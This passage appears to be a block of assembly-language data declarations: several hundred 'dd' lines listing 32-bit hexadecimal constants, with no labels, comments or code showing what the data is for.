dd 0A12FE4D0h, 0ED14C3EBh, 90CFB35Ch, 6BFC52F0h, 0FAA7E8B0h
dd 0A155047Eh, 0ABC1F49Ah, 77666840h, 0F9F4111Dh, 46CDDBE8h
dd 0F191FDCAh, 0B3C691A4h, 0F0C40986h, 9A986828h, 0B5264ED2h
dd 0A2728412h, 46767332h, 362EBAD7h, 0F5C43BFEh, 42A19D8Dh
dd 8B0ED10Eh, 0AE29AB11h, 0B083251Bh, 0BBB21AF5h, 3B622A62h
dd 2ACFBF5Bh, 0F37F5EABh, 6D1F9BFh, 76F0BAD9h, 0EACC6DBDh
dd 0E28D9E4Bh, 9B77B445h, 96C7B1F3h, 0B582F992h, 0E9FF75F9h
dd 334460C3h, 0EBFFC360h, 43D08771h, 80D7F542h, 65A13919h
dd 0F0BBFE80h, 6332C1A1h, 0DFE178FBh, 70C89532h, 9AAE4945h
dd 41778358h, 921101F5h, 0EE346947h, 52E04EA5h, 1EF8E457h
dd 66C8733Ch, 0CABFA5FBh, 84A75Dh, 0B28CEEA3h, 8D7CDE55h
dd 50B52E66h, 0A5D0D958h, 0EC2D3A2h, 0C50BDF25h, 7F76973Dh
dd 5352DE2Dh, 0BB09CE5Ah, 38FA8B44h, 0C2BE1BE9h, 37E2D4BDh
dd 62FB1488h, 0F7B9435Bh, 0F6318466h, 2B889579h, 6F476A81h
dd 99CECCE6h, 0A02E9C27h, 72441F60h, 0B03A97E7h, 0B7208344h
dd 0DBA9275Ch, 5359BB8h, 0CE542D18h, 0B593B74Ch, 972C82D5h
dd 0DEABBD57h, 0DC53764h, 1EBAAC35h, 1E425930h, 0C54302C3h
dd 0E44C1FC1h, 797034Ch, 68BF8609h, 0FC1149AAh, 0CDFF45A4h
dd 0FDCD8B8Ah, 7DC39DC6h, 0EF6135D4h, 2D65CF06h, 70D10F3Bh
dd 0ED73344Bh, 0A3B35C33h, 9D688CD9h, 1BF72E57h, 0C9D8C6Ah
dd 38A130DBh, 1D30018Ah, 0C25B3C24h, 16459CDDh, 916DA073h
dd 0D125B974h, 971E4392h, 8A5FC799h, 45A36420h, 386E53F9h
dd 0DC199662h, 7E17252Ah, 4BFBACF4h, 0A7FDA078h, 3B6E76A1h
dd 30F3AEB5h, 38E73DCDh, 0FE5D4BEBh, 421FFD8Eh, 59E181C8h
dd 0A54AB6BDh, 4E313CBBh, 106BA79Bh, 14D2988Dh, 5A8664A9h
dd 92498384h, 0FB989813h, 3B7B67CFh, 0D92486E3h, 39954F96h
dd 4EBC5551h, 85D63185h, 0ADEABC0Dh, 6B1EB11Eh, 0C21DB205h
dd 33C71509h, 0FF223827h, 0FC75D1EBh, 184A3D94h, 477A0809h
dd 2FFE4649h, 0B6A508DEh, 66692B2Fh, 0A82D49DDh, 0C08B0FE2h
dd 55D6F5F6h, 0F60B23B9h, 0F686A1C2h, 5D5E4A90h, 0DD61D5CAh
dd 1D3E1169h, 0EDF7AE2Bh, 0D14D401h, 4C41FE47h, 2E063FB2h
dd 6B0446F1h, 6796B26Dh, 0C6D119FDh, 2E9E146Dh, 6E6ABB7Fh
dd 0E9CC6AB6h, 9FA14C01h, 0DFA00636h, 409E8D4h, 97432DF2h
dd 0C27740E6h, 416EBE91h, 5B1A06C4h, 66FF7D75h, 0A978D32Ah
dd 54983D05h, 0B8A1875Bh, 5516BB11h, 7E43095Fh, 222F5E80h
dd 0C7376EA9h, 597DA40Dh, 6A2F40BFh, 70D0D4D8h, 0DF48C8EDh
dd 0BBC223ECh, 16FACC4Dh, 0EE8A3634h, 3A5FE590h, 6F57B197h
dd 0F3BF6C5Ah, 0B0FEEB25h, 0FC4D431Bh, 0A4CFB8F5h, 0B4C68BEEh
dd 7719214Bh, 0FB607C57h, 0AE83E764h, 41C64ECBh, 7BA7B09Fh
dd 0BBAF0E56h, 0B33D25D4h, 61FA4B9Fh, 0EE378C1Dh, 58110DF4h
dd 96529621h, 9A96F6C5h, 8D269263h, 0EC07673h, 0E5D84B26h
dd 23B14A27h, 7CEEFCDFh
dd 0DA1F0A6Dh, 112BD19Eh, 0B17D3539h, 933B93C9h, 0F0A11365h
dd 0C0CB1F62h, 1193725Eh, 0FF48F13Fh, 0C843D07Ah, 0A3BEBFEh
dd 32488BFFh, 22F9B22Eh, 6C352A1Bh, 3348631Ch, 0DABB4133h
dd 73803546h, 0FB03A538h, 7D07C83Fh, 408C304Fh, 72CB4DF9h
dd 25B8E127h, 0E0D4EEB8h, 6D6F6703h, 5E395D88h, 7A86CF6Eh
dd 50DE953Bh, 110E47F6h, 8F0AEA84h, 5263B35h, 0CE7B1764h
dd 0FFCEF3CDh, 0E84ECC0Ch, 7859F940h, 0BA3CAD0Ah, 0C6533D09h
dd 29BA653Eh, 6BD2EEBBh, 0E6FFE588h, 0C29C90F2h, 2D5873C9h
dd 6A22B1C3h, 63D8B2ADh, 91DF57E6h, 39A9A74h, 9AF8C8EFh
dd 54AA9A55h, 0B8579A25h, 72B3FD40h, 936D41D7h, 4E0BDCB6h
dd 0DA4BD4B6h, 976267BFh, 20CEF492h, 0D7E15691h, 0A6AA853Ch
dd 19602AAh, 76F14203h, 72DE83Ch, 0B4E5970h, 0FE3AD726h
dd 65705BF4h, 26A41F12h, 0C5767F16h, 5407E957h, 0E63B0DE6h
dd 0EA2A200Fh, 512843E5h, 0CBC8D829h, 3F75FE89h, 56A8FBC0h
dd 22288D2Dh, 9A79523Dh, 80E75BDDh, 0E02D75ACh, 4041DB06h
dd 21C97EC3h, 109D0CC1h, 312CCBE2h, 4193C903h, 0B8074DA3h
dd 0B848B692h, 96955D2Ch, 39601637h, 0DD4659A7h, 56798EB1h
dd 953B9D01h, 9DD7322Ah, 0F56EEBEAh, 7FC41974h, 0FF91A78Dh
dd 19CF8F98h, 21844FBFh, 0DFFE32Dh, 7DD3A4F9h, 0B484F075h
dd 0E1CC8E9Eh, 67CD3F17h, 0FEE44AD6h, 294F523Eh, 94E05522h
dd 0DED4CB22h, 0A942B0B6h, 9C64109Eh, 0DF65AB30h, 0AE7EE1DBh
dd 27E9E396h, 52F9D12Eh, 7EE88C26h, 400D0014h, 0E6680138h
dd 0CFC0858Eh, 720D0F6Bh, 6334D49Dh, 1092984Dh, 61B1B322h
dd 0F2119BF4h, 5B05CA4Fh, 5CE4B5CAh, 0F9F822D1h, 0CC477AF4h
dd 0B3DB7585h, 6684A92Ch, 3B31D2E8h, 972AB5E8h, 9ABD9EC0h
dd 6F43B4BAh, 129D9EAEh, 187F0B37h, 0A93E2342h, 4D4B4502h
dd 0CE413193h, 4EA7DE0Eh, 0CF21E08Ch, 834213DFh, 8B99C31Ch
dd 1C4C4FF1h, 0C6C6D344h, 0FB71022Ah, 7ACB9019h, 0AB341F4Fh
dd 51ED012Fh, 53F044B3h, 2AF2A015h, 0EA90845Ch, 0F9F00253h
dd 41763553h, 185DC9C5h, 6083E04Ch, 0D85F4615h, 732868Dh
dd 0F2FB09A3h, 932BD83Bh, 75A27B73h, 0E8F1E43h, 270FDF1h
dd 43BDBD5Fh, 0C0B1CA6Fh, 5DB0492Dh, 8B1B5763h, 1A55A6E4h
dd 0F21CBA5h, 0A75D9514h, 0D7B61A01h, 0E5E97049h, 7EE68FD7h
dd 0A3204281h, 39CF02F2h, 5368E036h, 99E0DF97h, 9C6BC10Ch
dd 0E031FE0Bh, 86D1FE4Bh, 376DFDE2h, 0B2C0AB3Fh, 0A2DA0364h
dd 0D189C785h, 28C8157Dh, 1A4065A2h, 30BA3960h, 0E166582Fh
dd 5436D13Dh, 7D51E857h, 0A871AD2h, 2E8BA54h, 567236A1h
dd 8327D7EBh, 0E380896Ch, 0A4F1218Fh, 5CA794C5h, 0A8B19B6Ch
dd 0A22FC8B2h, 0A8F8FCB6h, 2817DA9h, 95C2FB2h, 0E2853C5Fh
dd 9FE48857h, 0B133F751h, 380293FFh, 6D9E49A3h, 757B88D8h
dd 794140Ch, 428EB24Dh, 428FFE4Fh, 3F150F91h, 4CAEFBD8h
dd 7F7726C0h, 0ABFAF6A7h, 0E924FE88h, 38A5DD6Fh, 55B12A86h
dd 0BA9EF063h, 5610028h, 0DBF88EA9h, 53739E33h, 258BAC27h
dd 1B884957h, 545D1640h, 7010550Bh, 391368DDh, 7E159A0Fh
dd 0F47165B0h, 0A538A0E0h, 0AC96EA8Ah, 43CDD38Bh, 460C4B34h
dd 0C1BE6FF9h, 0B49750A4h, 2683293Dh, 3E33514Dh, 987533B7h
dd 82955496h, 0E4901C3Ah, 60860845h, 14C1876Ah, 0E5BB9EB7h
dd 0D5DCB8B6h, 57FF7730h, 38699020h, 0BAD416CCh, 6AA28F8Fh
dd 5B5A36E1h, 0DCE260CEh, 9D507954h, 417C2F6Ah, 0C2E87F95h
dd 0D79098Bh, 4D6C707Bh, 56BDEE53h, 86325F04h, 36C69978h
dd 1CE80526h, 25F84B90h, 8183770Bh, 434C00Ah, 0BA6265BFh
dd 0FD882B24h, 1B76EA52h, 0F4254560h, 75C04C71h, 91C15ED7h
dd 4ED03E61h, 0B6565CF6h, 0EE23FC35h, 9B9F736Dh, 6054D802h
dd 635B8809h, 4E282E92h, 0A211F942h, 0EFC6E5A4h, 2B9C000h
dd 7C7F4DC8h, 726BA3Bh, 0EE6227D9h, 0C7BEC87Bh, 0F3B30B22h
dd 0EC459060h, 0FB4B8CBFh, 0C72F04EFh, 862A18FBh, 18BA2C4h
dd 2D4C57AFh, 4BA6362Eh, 0F0B8B904h, 0DC1EEE1Bh, 951AF9A2h
dd 62C6FC53h, 0FD64AAE8h, 78ABFF69h, 6895DDE4h, 85FE8C6Bh
dd 0A53AD2BDh, 42F603A4h, 2206013Ch, 572972A3h, 0C9177F33h
dd 679BF132h, 1C9C8916h, 0E25168CDh, 38CA0260h, 5D1AD439h
dd 0BB6B44EFh, 4C70C982h, 35375B62h, 0F136D5BCh, 0EB4E4308h
dd 877D1B4Ch, 0ED1EA4D5h, 8C65EF32h, 0FA5AC35Ch, 0EE372CCFh
dd 22F60429h, 6D93BF3Eh, 0EA1A1CAEh, 23588DC6h, 0FE486896h
dd 1B5435E0h, 59F49672h, 97390527h, 0E755C425h, 9F9E6EEEh
dd 48F4C8A5h, 2215ECF5h, 0EBB9E8C7h, 6252BB3h, 7F7BCCA7h
dd 60E6851Fh, 2E18C883h, 9A351DA1h, 0D194CCF9h, 0F86A183Fh
dd 0A8F323BCh, 7CC07FB4h, 28224A41h, 0C061EC63h, 7BACDEA2h
dd 29D723ABh, 722B1F76h, 0A230BDBh, 376DB2CBh, 0F7D5207h
dd 0A148B3F5h, 9B3BF004h, 1893FE21h, 8D103B2Ah, 817C221Ah
dd 6FB82D7Fh, 0D1B42497h, 0DDDB075Ch, 0BF30FC96h, 0E65C3C73h
dd 9AA4627h, 299877B7h, 87D6EFC2h, 22B50A56h, 0B305C42Bh
dd 72B8D928h, 9BF2A3D8h, 0DE2E2380h, 0CE75FDECh, 334B2503h
dd 0A9042651h, 0D443BCA5h, 48C4A325h, 9675434Dh, 7EE422B6h
dd 0E21261F9h, 61E5A95Dh, 61225C94h, 0F07F0F28h, 1CC02186h
dd 33A40EE5h, 3DBDB211h, 0B5E0836Fh, 36D88C6h, 2057BB55h
dd 83CA9F3h, 9352FAA4h, 0C0AAD7CCh, 603FE4A1h, 6D883AD5h
dd 913C3F71h, 571B168Dh, 85D829D7h, 53A53A01h, 8A8055E0h
dd 0A40AEE30h, 73CF2871h, 7E5F720Ah, 0CFFD273Ah, 48CB6B48h
dd 36EFF867h, 416A02DAh, 2C5CA694h, 4D604F5Ch, 2A370998h
dd 58F89F7Dh, 1F70DC49h, 0DF44E94Fh, 0E6FBA319h, 6F1B9BE4h
dd 3A02D391h, 6E57EBAFh, 0F243BFA3h, 76CA480Ah, 9A57AB5Bh
dd 0CC39DAB1h, 68C66B59h, 0D8B7A921h, 64490ACDh, 87B7A466h
dd 3B212851h, 224238FBh, 0EFD5CC10h, 0B4AB2BDEh, 0BBBE31Bh
dd 5E8CF428h, 1F0E8F55h, 7E705678h, 9761417Eh, 79DDF673h
dd 0C430D955h, 2B02BEAFh, 8DF28D5Fh, 0FA9DF4CAh, 58175C38h
dd 0EB587FD8h, 0B112BED6h, 0AD44CD25h, 62E8DDCFh, 0BF72931Bh
dd 0AAE2909Ch, 5D2C70C7h, 7AA87FE5h, 0E69CFEBBh, 0F4607F41h
dd 0E33AEAC7h, 0F022FA13h, 0F6ACB915h, 380BDB7Dh, 42645172h
dd 65B0C8A9h, 9A11EF32h, 3E8D18A6h, 0C0D36729h, 0E9A7642Ch
dd 0EEEA18C0h, 0C16FD5D0h, 42C35357h, 11734431h, 0EB492782h
dd 1993AEEEh, 2A893794h, 4CD9CFC0h, 0FF280E03h, 5E9CA00h
dd 408F6AEh, 0BF359C73h, 0E47DE8D8h, 89BDFE22h, 0F7B6F90Fh
dd 2EEE9283h, 8A1EFCC3h, 0E73BBD4Fh, 50166C8Eh, 77034CB7h
dd 6E269058h, 24403689h, 0A8899C47h, 444C4EBDh, 8D00B305h
dd 25CFC78Eh, 9F2E8FF1h, 81A0ECEDh, 861703A7h, 93D4A99h
dd 3BD9F368h, 86CB9423h, 681EB91Dh, 0D9101743h, 0A3FED77Ah
dd 0E3CD27DEh, 5910FB46h, 7C9A2369h, 0D418FBE7h, 3158D65Ch
dd 0F0247075h, 1AF43E98h, 81DAC207h, 0AC6C0EC8h, 13398D48h
dd 992EB76Eh, 0E3AB70DBh, 7D0CF6D4h, 0F859D477h, 0BD5998DEh
dd 0D54BFD99h, 4FAA77A9h, 6250DE2Ah, 0A8F1192Ah, 31B67576h
dd 0A1FECFF4h, 2C22F892h, 0A8DAF583h, 386C9E7Fh, 6D7B15A5h
dd 5908C9B6h, 0C4E7EDA9h, 38044DF8h, 98FEB7A3h, 323B06E2h
dd 6EB3903Ch, 0DC7061CBh
dd 0F97BBA43h, 0DF7633CCh, 0DC31770Ch, 23490943h, 0E02502CAh
dd 575580E1h, 9A316707h, 0DFD91B92h, 2915D6FEh, 19773776h
dd 216E8B91h, 993CE384h, 86A42ADh, 0B735760Fh, 11C1247Fh
dd 21A96621h, 895638C5h, 80F026E1h, 538395F2h, 95D2A74Bh
dd 7A815ED8h, 797B71CAh, 2C26DF7Dh, 54D0AF50h, 1C847083h
dd 0BB49F9D6h, 0E7B82C46h, 263123F1h, 67B75ACBh, 0CA4C5D1Fh
dd 0F47BA73Dh, 38706172h, 10C29DDh, 8E068413h, 302D517h
dd 8272091Bh, 4B8ACE3Dh, 572FF0BDh, 9DD468B2h, 312B3A32h
dd 1D4D122Bh, 0C180CE5Dh, 958E39C4h, 86411F5Eh, 7EB05A2h
dd 74CE68D7h, 0FA9973D1h, 671948B3h, 0D9ADCC6Ah, 90630A6Ah
dd 84B59EFDh, 751BE860h, 0DA6D5AD2h, 0E9306504h, 0F80A6DE2h
dd 167887D6h, 41F866D9h, 358D3D1Dh, 9E03BFC1h, 0D773BC84h
dd 723D3CC9h, 4ED9BA70h, 4E2C9FD9h, 0BE133BBEh, 3E9B535Dh
dd 6509A64h, 0DAC48D41h, 9760404Ah, 58B8EF39h, 8A3BACA8h
dd 0A3AA7B72h, 7107CBD2h, 0FEFC0079h, 0A6711427h, 0E76282D1h
dd 8B2C17BCh, 0C4B57468h, 4B7367C2h, 0B386B029h, 0F1BDD569h
dd 0B9F2206h, 58971F91h, 0E7ECE6DDh, 2DCE210Ah, 12672D4Eh
dd 0EC32A38Bh, 1F4B5357h, 5E29AB9Fh, 261571E1h, 54C58F0Bh
dd 8DA11B7Fh, 9E9C812Dh, 3F3058C7h, 4DA6359Dh, 0E1C4CD4h
dd 4ECEC04Eh, 0EB259DB6h, 6D52CC91h, 3C80156Fh, 248DBE4Fh
dd 79EDB054h, 0DD153402h, 7C98503Bh, 22D7F862h, 1A1DCB68h
dd 48119B0Eh, 0F24403FEh, 284024ECh, 72D174A9h, 0C2E34F83h
dd 98CC4AA9h, 0BE8A67F5h, 297FB3E0h, 73E2A512h, 48444DB8h
dd 37551765h, 0E95916B1h, 9C6AEC1h, 0A168DFC0h, 0DFF955FFh
dd 7B8AA742h, 382B4603h, 0F3BD28F6h, 0D73B2A4Bh, 1D026CC2h
dd 52862802h, 44FB3354h, 0D0F62530h, 0B34B3DCCh, 0C6319C0Eh
dd 55309BD8h, 3F6944AFh, 60CFAF71h, 8E728737h, 91754AE9h
dd 0CFA50B46h, 63F6B4A9h, 688CE789h, 0D70F79A6h, 0BA054E21h
dd 0E3A9CF1h, 0BADC12FAh, 12B30C4Fh, 943DE8C5h, 0C9B9AEB1h
dd 672B6FFEh, 4A62752Eh, 0DBC4BE2Ah, 63C37A50h, 1F13EBD9h
dd 36D010F3h, 8C6A0DD0h, 0FA166C97h, 0E56C3EDBh, 4EC89C34h
dd 5EE4DE12h, 0BAB09005h, 770E0C21h, 1FAFAB1Dh, 7376EE07h
dd 2ACAAAE3h, 0E068DC44h, 5699CC5Eh, 0E9544325h, 5906343Ah
dd 0D4D0EF7h, 0B1B2EC3Fh, 613AB294h, 213C531Fh, 432B5F2Fh
dd 83DB0Fh, 13315620h, 1933286Ah, 643A5CBFh, 87A6F4E9h
dd 1376C2C4h, 119FD050h, 5DCDC55Dh, 0F37A8AADh, 0D8140CBBh
dd 9D06B20Ah, 1B4833D1h, 0D8BA08D3h, 0F32DBB1Eh, 3D72B9F1h
dd 85B6C8E2h, 2C0A38F2h, 0A5103738h, 46707736h, 0F3AD35C5h
dd 0D0C150CEh, 0FE44FC6Fh, 33B0FC34h, 0A864E949h, 3276AC49h
dd 5D1AD379h, 65B9BEE2h, 4C2B1468h, 16DF4005h, 2E3AB5E4h
dd 0E48E1C54h, 18AC5C74h, 93D03863h, 9157DF49h, 6AC48F2Dh
dd 8455445h, 0CAB25F98h, 0C1859E57h, 733DAAA5h, 68403A20h
dd 25671321h, 983E6859h, 8DB8FBABh, 0D5D567A3h, 0B2709171h
dd 5078834Ah, 0C08E80B8h, 23D7DFEh, 0F90A32F5h, 16B4AED6h
dd 1AB2C00h, 69D8A620h, 87D55F1Eh, 3437959Dh, 5DC7C53Fh
dd 0BD123E1Dh, 680F0636h, 6E9842B4h, 0B6234F3Ah, 340E9B47h
dd 1515382Bh, 0DE36B6E5h, 0CEF8F51h, 24746221h, 29A8B04Eh
dd 11563875h, 1B8D5AE4h, 0D8D8907Bh, 0BE0AB4FCh, 50798FD0h
dd 5864FCFBh, 9FFF5C08h, 0B546A0BDh, 224AA0E8h, 889DD663h
dd 0E0425CC8h, 97C39E34h, 1A9CBA1Bh, 76CBBF54h, 96E17F0Ah
dd 2BF245F0h, 0E97AEE67h, 50AE3460h, 745B46FCh, 8D6D88C0h
dd 78113C4Fh, 0E1C6ECE6h, 47EC6685h, 0E1875FB2h, 3ECBE009h
dd 0D2D9078Ah, 67180EFFh, 525476A4h, 0D0797592h, 49564CB3h
dd 1E98AD5Ch, 0D75A390Ah, 17608D55h, 0A2B7778Dh, 73A8A51Ah
dd 0B8B21FB0h, 0D010255Dh, 0EA442011h, 559719ECh, 0F1905A8Bh
dd 9A0C19D4h, 0D9CF42FEh, 0BF70F6EFh, 354EC60Ch, 0A1835E71h
dd 92462F72h, 3EB364E3h, 5F41C9CEh, 53CA4E2Bh, 7AC7AB1Dh
dd 77D3A2D6h, 92395C4Bh, 105E5BCAh, 0C3018863h, 0AF87F1FFh
dd 0F138860Fh, 0B5A1AFA7h, 0FFA208B0h, 0F19F4F78h, 19AC793h
dd 8B001507h, 5CACE159h, 3107BF7Eh, 50B82042h, 7AD5C762h
dd 0B48926B1h, 0CC9A7D22h, 0FA930597h, 0F2835B6Bh, 0FE1FDCA2h
dd 8C0564CAh, 0F04CE405h, 0A8F90536h, 0CD31794Eh, 0F9EFD4EFh
dd 4C7E0606h, 0EB60FB33h, 0F2B177BBh, 0E5409003h, 2C459567h
dd 735C39F2h, 3153E4E2h, 0DD50C32Bh, 0F809810Ch, 38A2B152h
dd 2352B333h, 8AC826CAh, 97B5191h, 31D8D9BFh, 6BBAF5A0h
dd 8D1FB832h, 0A87C029Fh, 0BE76FA2Bh, 216EAF8Bh, 1F8923AFh
dd 44FFEAAh, 8524553Fh, 6FEE90DAh, 0DD9D9BE8h, 70F59581h
dd 746823F9h, 0DECEFA61h, 85ADA9AFh, 0C95559DEh, 0D599344Eh
dd 29622326h, 8F182353h, 0D68DEC7Bh, 524E0C1Ah, 60E2BEFBh
dd 0B4950F16h, 95FE4891h, 0BD8B7CDDh, 0C91A5683h, 44542042h
dd 6A67A9C3h, 29335653h, 0C93230F1h, 89E97D19h, 0E1BA092Ah
dd 17B80C4Ah, 3B7B94BBh, 0A7610844h, 51164CCDh, 5ED6CCC1h
dd 103EB512h, 4BF24963h, 5A878A5Bh, 517F0A5Fh, 128F1C9h
dd 0B7DC6A5Ah, 0EB6A526Ah, 32EDBF6Bh, 9D53D2CDh, 2207FDFEh
dd 0DE016444h, 7F0E670Fh, 0F39EB8ADh, 0F05DF919h, 8F449E2h
dd 0E2F3B664h, 4FCBF88Bh, 4834B427h, 24A6FAF8h, 114BC11h
dd 66322655h, 0EDFC339h, 3FEC7A1h, 0CBDBCD84h, 0E7362CBh
dd 0D08E9389h, 0DDFBADCCh, 0BB2CFF39h, 53D6DEBDh, 85DFF2F3h
dd 0D2A850Eh, 89901CB0h, 45914F7h, 75454D81h, 83A6819Bh
dd 2D5F4B04h, 16482487h, 0CF230EE7h, 55887E4Eh, 6C6A990Bh
dd 0A4C66E8h, 5A0425DFh, 167C3DC7h, 0D27DFD28h, 35B88149h
dd 7BE8004Fh, 0C450F56Ah, 361D38FDh, 7A040B08h, 47D5AE7h
dd 7BECB4F7h, 171F8382h, 0F71EB1C7h, 4EB4842Ch, 83E05907h
dd 0E1DDC1A9h, 2BFCAB2Ch, 6FA51366h, 0BB561663h, 50D50757h
dd 1B9FB941h, 7C9FD118h, 0A5D08C57h, 83DB2236h, 0B2FF4123h
dd 3BB3A9A3h, 712D774Ch, 8C6D0B66h, 2947D74Eh, 934CC213h
dd 0CA76A6C8h, 0EF45EFC6h, 28434CA7h, 936A0C70h, 0B4AB0Ch
dd 660B9E64h, 0C0D487A1h, 13AF9C84h, 4005B659h, 118E45CFh
dd 0AF951710h, 9E1BF2FEh, 5A24054h, 5B1A0137h, 7B3BEBA2h
dd 0E7B62F0Bh, 0C5F9CCB8h, 4000A873h, 42C479D6h, 0BC74ABB8h
dd 3868C8C8h, 0F14F2743h, 39C3B058h, 0F2DA063Fh, 1A00088Ah
dd 0A3D6E0C9h, 9E83A9Fh, 2CF84DF2h, 36FD4BB5h, 56E69FAAh
dd 0A016E7C9h, 0FB255C15h, 6756442Ch, 8CF58A02h, 964EF76Eh
dd 0C86AD5D1h, 2C3A41C9h, 0D230EF45h, 0F73EA009h, 98BEA2DCh
dd 0CD18CCC0h, 81E33718h, 0A41397BCh, 464E415h, 0F74B7D30h
dd 113297CBh, 0F0F2249Eh, 9AD4E35Fh, 0D7675B1h, 3A4883FEh
dd 4710F9EEh, 0F795E463h, 7D4763CAh, 839409DBh, 0B6F6365Ch
dd 643F45FEh, 0B03F9CF3h, 7BFACBAFh, 9A83E034h, 3E998A43h
dd 0CD7073C0h, 71B3CD82h, 3F1956FCh, 73859F22h, 0C8BDBB26h
dd 9C9B917Fh, 0FF5E13E5h, 57A645A5h, 7A58966Ch, 0E27D3303h
dd 0CE7D07A7h, 8A4335A7h, 0E9E8820Fh, 0D3715BA7h, 6C78DF5Fh
dd 0F3465770h, 0F6387A70h, 171B8F2Ch, 3DF0F8F7h, 51E5F495h
dd 3A67BD87h, 605A56DFh
dd 5D1475B1h, 0C23376EAh, 3C9D8D1Fh, 0B328F07Eh, 0CDA1FC1Fh
dd 1655FE3Ah, 204422EAh, 0ECB52C84h, 0BF2905A9h, 7CDB75F3h
dd 76016E61h, 695621EBh, 0B9C8DAC7h, 4960A510h, 916124FAh
dd 25ACCD0Ah, 0F7C25B4Ah, 28BC0B6Fh, 8C76800h, 0D522D497h
dd 0A5A1C223h, 0DE80E94h, 63732463h, 0F263F4B0h, 2E2DA12Dh
dd 4F8CF83Bh, 0F2590AE5h, 0D2A04D61h, 0D9740A15h, 0F3FACBCBh
dd 0D0C89D02h, 85340429h, 44460084h, 61C0151Ch, 87E20F48h
dd 2FD218C2h, 87637680h, 5D3E5E46h, 57764A61h, 255B62D3h
dd 9726138Fh, 7EEDBC80h, 53BBF7CDh, 60658A4Fh, 0F07A6CE7h
dd 14F6F993h, 0BA67EBE6h, 0A408C7E8h, 216EC565h, 0C8BB6FADh
dd 69FFADF7h, 2A879225h, 81DB1D56h, 845FB905h, 0D08BB086h
dd 5666A845h, 80649D0Ch, 67C2E43Ch, 445846DFh, 642E359Ch
dd 670E8D6Eh, 0E9D077FFh, 34A4218Ah, 8AD84FBDh, 50B12793h
dd 0B578824Ah, 38F23DA4h, 0EAB1ABF8h, 0A7DCDBB0h, 9161A922h
dd 17AC9031h, 0BC313B4Fh, 1617B0F6h, 0E518B4C6h, 135ED677h
dd 795B628Ch, 0F5B3A970h, 45C6D8F3h, 0FA2B7790h, 0D89F59C4h
dd 4A07BB32h, 4D64B516h, 19CFE74Fh, 9DDFB4E6h, 0A989F5E9h
dd 23774A1Eh, 2448ECE4h, 6939C44Fh, 117BEF1h, 0B08DA744h
dd 3BDF4C65h, 25C7FFA1h, 0DC38361h, 363B4EEAh, 5E8DA174h
dd 49B1494Fh, 0C87E3243h, 0DDEDE4D1h, 0E001E669h, 422F58BEh
dd 9679C931h, 0B977E17Bh, 0C6CDF4CBh, 18AF5FCh, 30676F2h
dd 188233DFh, 433744B1h, 0EEE9734Eh, 0E2ECDFEEh, 399884C9h
dd 18351F3Ah, 5D705051h, 5777ABFEh, 0D956954Fh, 31E62F91h
dd 0A9E8EB85h, 37F73134h, 5328D15Dh, 12BC367Bh, 0A7F94D51h
dd 0F51F5484h, 1AE9956Eh, 0A532F97Bh, 32C27872h, 90DA4A4Fh
dd 44577BCBh, 0DD43657Fh, 3F71C67Dh, 0A070A2BDh, 0E0BA24A5h
dd 94B6C4D3h, 0E17A97E2h, 5E62692Dh, 0E095491Dh, 34FA88D2h
dd 0D8AA62DBh, 4880958h, 0DA8B0293h, 0E1D604D8h, 41043764h
dd 0BACB1A0Eh, 1362E708h, 575A0964h, 0D9DD8BDh, 44F326A8h
dd 0DECC1E84h, 0B2607D68h, 1B1C18BEh, 0F5931E8Eh, 0EE8C3D43h
dd 6670DDFFh, 0DE9E796Dh, 2B375748h, 6F4EE4E9h, 671F8523h
dd 937860C1h, 0AAE86D1Bh, 0B4108B9Ah, 4A0461C7h, 30B485A1h
dd 0A85D882h, 0E0D20418h, 9C349765h, 0CC2124Ah, 4A8EE2B3h
dd 0CC80954Ah, 2E2E89E4h, 0F3E1F572h, 0C58BDD9Bh, 2BD7B88Eh
dd 7B09FBC5h, 0F10846DEh, 6F252B91h, 98E0E872h, 39B6A7D7h
dd 0F16333D9h, 0E18E9AE9h, 0E733CA4h, 0E8AB72C2h, 0CAAF82B9h
dd 5FF4075Bh, 90B4E2C2h, 551D1A96h, 0D0E3C22Ah, 28916A77h
dd 23F4D79Fh, 23A6A93Ah, 65441E17h, 89E2C1F0h, 176B1089h
dd 70631536h, 5DF394Eh, 2E391797h, 214D97B2h, 6185F572h
dd 22FE6CA6h, 318B283Eh, 0A33BCB3h, 0D8C58BFEh, 0DF7553E4h
dd 7E565AD5h, 9F99DB84h, 0E2112641h, 38C0A3BFh, 0B7EBB95Eh
dd 0C3D078E7h, 0A0611B85h, 8D266DE7h, 84C02D75h, 0CC681AC7h
dd 1AC2FADEh, 0B708E816h, 0E7DBB564h, 0C479F518h, 5D26E06Eh
dd 53F835D8h, 0F715573Fh, 0F0BDFE58h, 2E0BBE32h, 2F4D5949h
dd 306225ECh, 15CB188Eh, 8B79459Ch, 0B6FA16EBh, 0CD65AAEAh
dd 0EEB065E1h, 69D4C3F4h, 0F31CA50Dh, 779367D2h, 0AE0E19EEh
dd 0C833040Dh, 0E9A246CFh, 5897ED06h, 0F8C7926Bh, 1FEED62Ch
dd 73055D40h, 28A7AA57h, 0DF992FD7h, 267B182Ah, 0EBC3151Fh
dd 0FA932156h, 1FEB7C30h, 1E34A88Ch, 0AFB35B64h, 0E7449B52h
dd 0E2A4564Ah, 12BE464h, 736A0AB6h, 0D25D6237h, 4D76B2EEh
dd 0EA6D419Ah, 8819B31Eh, 50678DB8h, 0C1D33F10h, 9CEC89Dh
dd 86C07F2Ch, 7CB5F3E7h, 98545CA6h, 2D13291Ah, 0E91D95D6h
dd 9C29D77h, 8B85EED1h, 0FC285A1Eh, 0F91642E7h, 99F7AE53h
dd 84F8A5D9h, 0D6E11DF1h, 0A3B584A7h, 5B055C86h, 50A2A9DEh
dd 0C47FAD00h, 220329F0h, 6D1E861Ah, 0A091DC88h, 0C6281CEAh
dd 426EBAACh, 74803370h, 6629D5FDh, 0F83F08F7h, 0E381D2FCh
dd 2C19D731h, 9A6A0178h, 6638F25Ah, 2A5709CBh, 7843505Dh
dd 7914FCA6h, 0E2B4F7FBh, 47229E31h, 0B328365Eh, 71B096E7h
dd 0CB41CBC4h, 96171A34h, 28E0766Dh, 7C3845E8h, 9ED34307h
dd 282CB05Ah, 5061E90Ah, 0D19CA3D5h, 28F7FF3Dh, 361AC6A5h
dd 0AE292459h, 0D2589687h, 59AB7D2Ah, 24B5B28Ah, 0EFE9608Ch
dd 628FC622h, 597DBE6Bh, 78A84F95h, 0BFBFDAA2h, 7F150983h
dd 55A1013h, 0C1F5997Ch, 0B6595116h, 0CDFA1CD3h, 0FEE0D0Fh
dd 0DF919F8Dh, 47FD6FF0h, 0E617981Ah, 7AADD5A7h, 0D67E5D40h
